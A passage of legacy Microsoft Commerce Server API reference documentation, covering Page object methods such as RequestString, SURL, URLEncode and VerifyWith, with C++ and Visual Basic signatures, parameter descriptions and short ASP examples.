cc_expmonth = oPage.RequestNumber("_cc_expmonth", 7, 1, 12)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestFloat

[C++] IDataFunctions_4_0::ConvertNumberString

[C++] IDataFunctions_4_0::Number

[C++] IDataFunctions_4_0::ValidateNumber

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestFloat

[Visual Basic] DataFunctions.ConvertNumberString

[Visual Basic] DataFunctions.Number

[Visual Basic] DataFunctions.ValidateNumber


IMSCSPage_3_0::RequestString Method [C++]

Page.RequestString Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and perform string processing on it, based on the specified locale.

This processing may involve stripping out leading and trailing white spaces, stripping out carriage returns, checking the length of the string against a specified range, and validating the string based on the specified or default locale.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestString(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtStripWhite,
  VARIANT vtStripReturn,
  VARIANT vtCase,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestString(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtStripWhite As Variant,
  vtStripReturn As Variant,
  vtCase As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL-query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL-query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the string to return if the specified URL-query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the string to return if the specified URL-query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number that indicates the minimum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMin parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameter is not in range, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains the number that indicates the minimum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMin parameter value is not considered in the validation process. This parameter is optional. If this value is invalid or length of the bstrName/vtDefault parameter is not in range, the method returns NULL.
vtMax [C++]
[in, optional] A VARIANT that contains the number that indicates the maximum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameter is not in range, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the number that indicates the maximum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameter is not in range, the method returns NULL. This parameter is optional.
vtStripWhite [C++]
[in, optional] A VARIANT that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the string. The default value is True.
vtStripWhite [Visual Basic]
A Variant that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the string. The default value is True. This parameter is optional.
vtStripReturn [C++]
[in, optional] A VARIANT that contains a Boolean value that indicates whether carriage returns should be stripped from the string. The default value is True.
vtStripReturn [Visual Basic]
A Variant that contains a Boolean value that indicates whether carriage returns should be stripped from the string. The default value is True. This parameter is optional.
vtCase [C++]
[in, optional] A VARIANT that contains the number that indicates the case to which the string should be converted. The default value is zero (0), which results in no modification to the case of the string. If the vtCase parameter is one (1), the string is converted to uppercase. If the vtCase parameter is two (2), the string is converted to lowercase.
vtCase [Visual Basic]
A Variant that contains the number that indicates the case to which the string should be converted. The default value is zero (0), which results in no modification to the case of the string. If the vtCase parameter is one (1), the string is converted to uppercase. If the vtCase parameter is two (2), the string is converted to lowercase. This parameter is optional.
vtLocal [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to be used as the basis of the conversion. If this value is not specified, the RequestString method uses the value of the Locale property of the DataFunctions object.
vtLocal [Visual Basic]
A Variant that contains the number that specifies the locale to be used as the basis of the conversion. If this value is not specified, the RequestString method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the processed string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' vString is a Variant
' This example assumes that the string value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="String">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the string into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestString method as follows:
vString = oPage.RequestString("String", "Default String", _
    1, 100, True, True, 0, 1033)
' In this example, the string is checked that it it contains
' between 1 and 100 characters; all leading and trailing white
' spaces are removed, all carriage returns are removed, , no
' modification is made to character case, and the string is
' converted according to the locale 1033 (USA). If no string is
' input, the string "Default String" will be loaded into the
' variable vString.

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale


IMSCSPage_3_0::RequestTime Method [C++]

Page.RequestTime Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert the string to a Date Variant, based on the specified or default locale.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestTime(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestTime(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL-query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL-query string or form post-variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the string to return if the specified URL-query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Date values.
vtDefault [Visual Basic]
A Variant that contains the string to return if the specified URL-query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Date values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the time value that specifies the low end of the range against which to validate the bstrName parameter. If the VARIANT is of type vtMissing, the vtMin parameter value is not considered in the validation process.If the converted value is less than vtMin, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains the time value that specifies the low end of the range against which to validate the bstrName parameter. If the converted value is less than vtMin, the method returns NULL. The default is no low-end validation. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the time value that specifies the high end of the range against which to validate the bstrName parameter. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the time value that specifies the high end of the range against which to validate the bstrName parameter. The default is no high-end validation. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the DateTime value. If this value is not specified, the RequestTime method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the DateTime value. If this value is not specified, the RequestTime method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the date. If any validation fails, the value will be set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the date.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' This example assumes that the -time value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Time">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
If the user enters the date into the form and clicks the Send Info button, the value of this form field can be retrieved by the RequestTime method as follows:
vTime = oPage.RequestTime("Time", "12:00:01 AM", "12:00:01 AM", _
 "11:59:59 PM", 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertTimeStringf

[C++] IMSCSPage_3_0::RequestDate

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions_4_0::ConvertTimeString

[Visual Basic] Page.RequestDate


IMSCSPage_3_0::SiteRoot Method [C++]

Page.SiteRoot Method [Visual Basic]

Use this method to return the physical directory that contains the Commerce Server site.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::SiteRoot(
  BSTR* pbstrRet
);
[Visual Basic]
Function SiteRoot() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the physical directory path.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the physical directory path.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::VirtualDirectory

[Visual Basic] Page Object

[Visual Basic] Page.VirtualDirectory


IMSCSPage_3_0::SURL Method [C++]

Page.SURL Method [Visual Basic]

Use this method to generate a properly formatted secure HTTP URL (SURL) based on the provided file name and an optional list of name/value arguments. The formatted URL includes the server name, the virtual directory in which the file is stored (taken from the context in which the Web site is running), and the name of the file itself.

Additionally, if the StandardSManager for the application is initialized in URL mode, the SURL method uses the value stored in the MSCSSIDUrlKey Application object variable as the name in a name/value pair, the value of which is the current customer's shopper ID.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the SURL method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::SURL(
  BSTR bstrPath,
  BSTR* pbstrRet
);
[Visual Basic]
Function SURL(
  bstrPath As String
) As String

Parameters

bstrPath [C++]
[in] A BSTR that contains the name of the file for the SURL to reference.
bstrPath [Visual Basic]
A String that contains the name of the file for the SURL to reference.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the properly formatted secure HTTP URL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns String that contains a properly formatted secure HTTP URL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

During application development, you can set the Site.DisableHTTPS property to one (1), which causes the SURL method to use the InsecureHostName value as the host name. The SURL method generates a secure URL only if Site.DisableHTTPS is set to zero (0).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

The following example is from the MySite Purchase.asp file.

<FORM METHOD="POST"
    ACTION =<% = Page.SURL("xt_orderform_purchase.asp" %)
If the hostname is www.microsoft.com, the preceding example
' produces the following URL:
https://www.microsoft.com/MySite/xt_orderform_purchase.asp

See Also

[C++] Page Object

[C++] StandardSManager Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::URL

[Visual Basic] Page Object

[Visual Basic] StandardSManager Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.URL


IMSCSPage_3_0::SURLPrefix Method [C++]

Page.SURLPrefix Method [Visual Basic]

Use this method to return the secure root domain as determined by the MSCSSecureHostName value. The returned string can be used as the prefix of a complete URL.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the SURLPrefix method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::SURLPrefix(
  BSTR* pbstrRet
);
[Visual Basic]
Function SURLPrefix() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the secure root domain string.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the secure root domain string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

During application development, you can set the DisableHTTPS property of the site dictionary to one (1), which causes the SURLPrefix method to use the InsecureHostName value as the host name. The SURLPrefix method generates a secure URL only if Site.DisableHTTPS is set to zero (0).

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] StandardSManager Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::URLPrefix

[C++] IMSCSPage_3_0::URLShopperArgs

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::URLArgs

[C++] IMSCSPage_3_0::VirtualDirectory

[Visual Basic] Page Object

[Visual Basic] StandardSManager Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.URLPrefix

[Visual Basic] Page.SURL

[Visual Basic] Page.URLShopperArgs

[Visual Basic] Page.URLArgs

[Visual Basic] Page.VirtualDirectory


IMSCSPage_3_0::URL Method [C++]

Page.URL Method [Visual Basic]

Use this method to generate a URL based on the specified file name and an optional list of name/value arguments. This URL includes the server name, the virtual directory in which the file is stored, and the name of the file itself.

Additionally, if the StandardSManager for the application is initialized in URL mode, the URL method uses the value stored in the Application object's MSCSSIDUrlKey variable as the name in a name/value pair, the value of which is the current shopper ID.

The method applies URL encoding to the values passed in.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URL method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URL(
  BSTR bstrPath,
  BSTR* pbstrRet
);
[Visual Basic]
Function URL(
  bstrPath As String
) As String

Parameters

bstrPath [C++]
[in] A BSTR that contains the name of the file to reference in the URL.
bstrPath [Visual Basic]
A String that contains the name of the file to reference in the URL.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the encoded value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encoded value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The URL method spares the site builder the need to map a file
' to the HTTP path to that file. For example, assume the
following call to URL:
<%= oPage.URL("filename.asp") %>
' This call resolves to the correct HTTP path to
' filename.asp as follows:
http://host_name/virtual_directory/filename.asp
' The value for host_name is determined by the contents of the
' site dictionary's InsecureHostName value. The virtual_directory
' is determined automatically from the scripting context.

See Also

[C++] Page Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::SURL

[Visual Basic] Page Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.SURL


IMSCSPage_3_0::URLArgs Method [C++]

Page.URLArgs Method [Visual Basic]

Use this method to generate a series of query string arguments in an appropriate form for passing in a URL. The method applies URL encoding to the values passed in.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URLArgs method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URLArgs(
  BSTR* pbstrRet
);
[Visual Basic]
Function URLArgs() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the series of query string arguments.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the series of query string arguments.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::VirtualDirectory

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::SURLPrefix

[C++] IMSCSPage_3_0::URL

[C++] IMSCSPage_3_0::URLShopperArgs

[Visual Basic] Page Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.VirtualDirectory

[Visual Basic] Page.SURL

[Visual Basic] Page.SURLPrefix

[Visual Basic] Page.URL

[Visual Basic] Page.URLShopperArgs


IMSCSPage_3_0::URLEncode Method [C++]

Page.URLEncode Method [Visual Basic]

Use this method to apply URL-encoding rules, including escape characters, to a specified string. An encoded URL string may be passed in a URL as a query string argument.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URLEncode method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URLEncode(
  VARIANT vtValue,
  BSTR* pbstrRet
);
[Visual Basic]
Function URLEncode(
  vtValue As Variant
) As String

Parameters

vtValue [C++]
[in] A VARIANT that contains the string to be encoded.
vtValue [Visual Basic]
A Variant that contains the string to be encoded.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the URL-encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a URL-encoded String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

Strings that contain certain characters, such as spaces, slashes (/), or percentage symbols (%), cannot be passed as URL query arguments. URL encoding encodes these characters as escaped text so that they can be passed in a URL.

The Page.URLEncode method is equivalent to the Server.URLEncode method, except that the Page.URLEncode method handles NULL values by returning an empty string. (The Server.URLEncode method fails when the String parameter is NULL). This distinction is important because database queries can return NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Suppose that a variable called referringURL contains the URL _
' http://www.microsoft.com, which is to be passed as a query
' string argument in another URL.
' The following script:
<A HREF="Sample.asp?referringURL=<% =
    oPage.URLEncode(referringURL) %>">My link</A>
' generates the following HTML:
<A HREF="Sample.asp?referringURL= _
http%3A%2F%2Fwww%2Emicrosoft%2Ecom">My link</A>
' The receiving page (Sample.asp) can use the Request method to
' get the value of the variable. The method converts the string
' back to its original form and returns it to the script on the page.

See Also

[C++] Page Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::HTMLEncode

[Visual Basic] Page Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.HTMLEncode


IMSCSPage_3_0::URLPrefix Method [C++]

Page.URLPrefix Method [Visual Basic]

Use this method to return the root domain as determined by the InsecureHostName value. The returned string can be used as the prefix to a complete URL.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URLPrefix method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URLPrefix(
  BSTR* pbstrRet
);
[Visual Basic]
Function URLPrefix() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the root domain.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the root domain string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

To generate the domain for the secure host, use the Page.SURLPrefix method.

See Also

[C++] Page Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::SURLPrefix

[C++] IMSCSPage_3_0::VirtualDirectory

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::SURLPrefix

[C++] IMSCSPage_3_0::URL

[C++] IMSCSPage_3_0::URLShopperArgs

[C++] IMSCSPage_3_0::URLArgs

[Visual Basic] Page Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.SURLPrefix

[Visual Basic] Page.VirtualDirectory

[Visual Basic] Page.SURL

[Visual Basic] Page.SURLPrefix

[Visual Basic] Page.URL

[Visual Basic] Page.URLShopperArgs

[Visual Basic] Page.URLArgs


IMSCSPage_3_0::URLShopperArgs Method [C++]

Page.URLShopperArgs Method [Visual Basic]

Use this method to generate a series of query string arguments in an appropriate form for passing in a URL, and include in the arguments the shopper ID if the StandardSManager has been initialized to URL mode. The URLShopperArgs method URL-encodes the values passed in.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URLShopperArgs method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URLShopperArgs(
  BSTR* pbstrRet
);
[Visual Basic]
Function URLShopperArgs() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the series of query string arguments.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the series of query string arguments.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

The URLShopperArgs method appends the current customer's shopper ID to the URL argument list. The name of the argument passed in the URL is stored in the Application object's MSCSSIDUrlKey variable.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] AuthManager Object

[Visual Basic] Page Object

[Visual Basic] AuthManager Object


IMSCSPage_3_0::VerifyWith Method [C++]

Page.VerifyWith Method [Visual Basic]

Use this method to output HTML tags in the form <INPUT TYPE="HIDDEN"> in an HTML form. These hidden fields contain specified values from the OrderForm object to be used to verify that an order has not been altered between presentation of the OrderForm and final purchase. When the order form is submitted, the ProcessVerifyWith method on the target page stores these fields in a Dictionary object in the OrderForm, which is then passed to the Order Processing pipeline (OPP). One of the objects in the pipeline compares the original values with the values from the hidden fields.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::VerifyWith(
  IDispatch* pdispOrder,
  BSTR* pbstrArguments
  BSTR* pbstrRet
);
[Visual Basic]
Function VerifyWith(
  pdispOrder As Object
  pbstrArguments As String
) As String

Parameters

pdispOrder [C++]
[in] A pointer to the IDispatch interface that can be used to retrieve the OrderForm object that contains the fields to verify.
pbstrArguments [C++]
[in] A pointer to a BSTR that contains a comma-separated list of field names in the supplied OrderForm object to verify. This parameter is optional.
pdispOrder [Visual Basic]
An object reference to the OrderForm object that contains the fields to verify.
pbstrArguments [Visual Basic]
A String that contains a comma-separated list of field names in the supplied OrderForm object to verify. This parameter is optional.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the HTML tags.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the HTML tags.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' The following example generates hidden fields containing
' the values stored in the _total_total,and _tax_total fields
'  of the supplied OrderForm object:
<FORM METHOD="POST"
    ACTION="<% = oPage.SURL("xt_orderform_purchase.asp") %>">
    <% = mscsPage.VerifyWith(mscsOrderForm, "_total_total",
 "_tax_total") %>
' When the page containing this call is loaded in the client
' browser, the  document source for the page would contain the
'  following HTML script '(assuming a total of 138.95 and a tax
'  of 8.75):
<FORM METHOD="POST"
